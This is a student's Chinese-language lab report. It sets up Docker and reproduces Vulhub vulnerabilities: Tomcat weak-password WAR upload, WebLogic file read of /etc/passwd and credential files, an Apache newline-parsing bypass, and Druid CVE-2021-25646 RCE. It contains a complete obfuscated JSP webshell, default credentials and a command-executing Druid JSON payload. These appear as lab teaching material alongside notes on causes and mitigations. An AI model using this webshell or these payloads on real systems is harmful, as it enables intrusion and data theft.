目录:
作业一、在vps安装docker和docker-compose
作业二、上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因
#环境安装#https://vulhub.org/#/environments/tomcat/tomcat8/
作业一、在vps安装docker和docker-compose
#基础环境:阿里云,ubuntu22.04
可能获取不到软件包,可以尝试更新一下,或者换一下源
sudo apt update #更新
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": ["https://s41jdkxd.mirror.aliyuncs.com"]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker
#阿里云镜像加速,每个实例都不一样,可以在容器镜像服务里查询得到
配置好后,下载docker和docker-compose
apt install docker.io #docker
apt install docker-compose #docker-compose
成功截图:
作业二、上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因
#环境安装#https://vulhub.org/#/environments/tomcat/tomcat8/
tomcat 弱口令/后台文件上传getshell
漏洞复现:
环境启动
进入tomcat8目录,输入命令启动环境
docker-compose up -d #启动环境
查看容器,端口映射为8080端口,主机访问网站。网址为:实例公网ip:8080
弱口令/后台文件上传getshell
使用tomcat的默认账号密码登录。(账号密码均为tomcat)
木马生成:使用命令将shell.jsp打包为war包
jar -cvf shell.war shell.jsp
shell.jsp内容
<%!
class U extends ClassLoader {
U(ClassLoader c) { super(c); }
public Class g(byte[] b) { return super.defineClass(b,0, b.length); }
}
public byte[] base64Decode(String str) throws Exception { try { Class
clazz=Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer",
String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class
clazz=Class.forName("java.util.Base64"); Object decoder=clazz.getMethod("getDecoder").invoke(null); return (byte[])
decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } }%><%
String cls=request.getParameter("passwd");if(cls!=null)
{
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}%
>
木马上传:在上传窗口上传shell.war文件,访问文件上传路径。使用蚁剑进行连接
进入命令行,连接成功,复现成功
漏洞成因:
弱口令:Tomcat有一个默认账户和密码,有时为了方便,没有对其进行修改
后台文件上传:Tomcat 支持在后台部署war包,可以直接将webshell部署到web目录下,为木马注入创造了条件。
weblogic 弱口令/任意文件读取
漏洞复现:
环境启动:与上一环境相同(后面不再重复)
弱口令/任意文件读取
弱口令:使用使用默认口令weblogic/Oracle@123登录。
尝试访问“http://47.96.74.191:7001/hello/file.jsp?path=/etc/passwd”读取敏感文件。
下载成功,说明可能存在任意文件读取漏洞
使用bp抓包,读取SerializedSystemIni.dat和config.xml。前者为密钥文件,后者为全局配置文件。
首先抓取SerializedSystemIni.dat文件。访问http://47.96.74.191:7001/hello/file.jsp?path=security/SerializedSystemIni.dat
复制选区到新的文件
抓取config.xml,访问http://47.96.74.191:7001/hello/file.jsp?path=config/config.xml
复制选区密码文件到新的文件
使用vulhub自带的weblogic_decrypt.jar,解密密文
java -jar weblogic_decrypt.jar #启用文件
漏洞成因:
弱口令:管理员密码配置不当,存在弱口令
任意文件读取:服务器在处理用户请求时,没有对输入内容进行充分的限制和过滤,导致攻击者可以通过构造特殊的请求,读取任意文件的内容。
apache 换行解析
漏洞复现:
访问http://47.96.74.191:8080
查看源代码,发现php,php3等都不能上传。考虑使用换行的方式上传文件
正常上传,发现确实会被识别过滤。
在文件名后插入一个换行符,十六进制为0a
漏洞成因:
查看源代码可知,本质上是在对文件的过滤方式上存在漏洞,使用添加换行符的方式可以绕过。
CVE-2021-25646(druid RCE)
环境搭建:
wget https://github.com/apache/druid/archive/druid-0.20.0.zip #获取压缩包
apt install unzip #安装压缩包
unzip druid-0.20.0.zip #解压
cd druid-0.20.0/distribution/docker
docker-compose up -d #搭载环境
漏洞复现:
访问8888端口,进入Druid console控制台界面
逐步添加以下内容:
- Base directory: quickstart/tutorial/
- File filter: wikiticker-2015-09-12-sampled.json.gz
开启bp抓包,修改post请求包为以下内容。
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
漏洞成因:
在 Druid 中,经过身份验证的用户可以构造json串来控制一些敏感的参数发送恶意请求,利用 Apache Druid 漏洞可以执行任意代码。
RCE漏洞的原理、利用条件及解决方案
漏洞原理:
RCE又叫远程命令执行漏洞,通常出现在一些允许用户提交命令的应用系统中。比如,在一些路由器,防火墙或入侵检测的Web界面中,为了方便用户进行网络诊断或监控,系统有时会提供一个简单的Web表单让用户输入IP地址或其他的一些参数,并通过后台执行相应的命令来响应用户的请求。但要是在设计和实现过程中,开发人员没有正确地验证和过滤用户的输入,就可能产生此类漏洞。
利用条件:
1.开发人员调用执行系统命令的函数。
2.传入exec()或者ProcessBuilder()的参数用户前端可控。
3.服务端没有对传入参数进行检查或过滤不严。
解决方案:
1.输入验证和输出编码:可以使用正则表达式或其他手段来检查输入是否符合预期的格式和内容。对于用户提供的数据,在使用之前对其进行编码或转义,以防止其被解释为代码或命令的一部分。
2.遵循最小权限原则:应用程序应该以受限账户身份运行,这样即使发生RCE漏洞,攻击者也只能获得有限的权限。
3.禁用或替换危险函数:避免使用存在高风险的函数,如PHP中的eval(), system(), exec()等。如果必须使用这些函数,则要确保传递给它们的所有参数都是安全的。
4.使用沙箱或容器化:将应用程序置于一个隔离的环境中运行,这样即便发生RCE,也能限制其影响范围。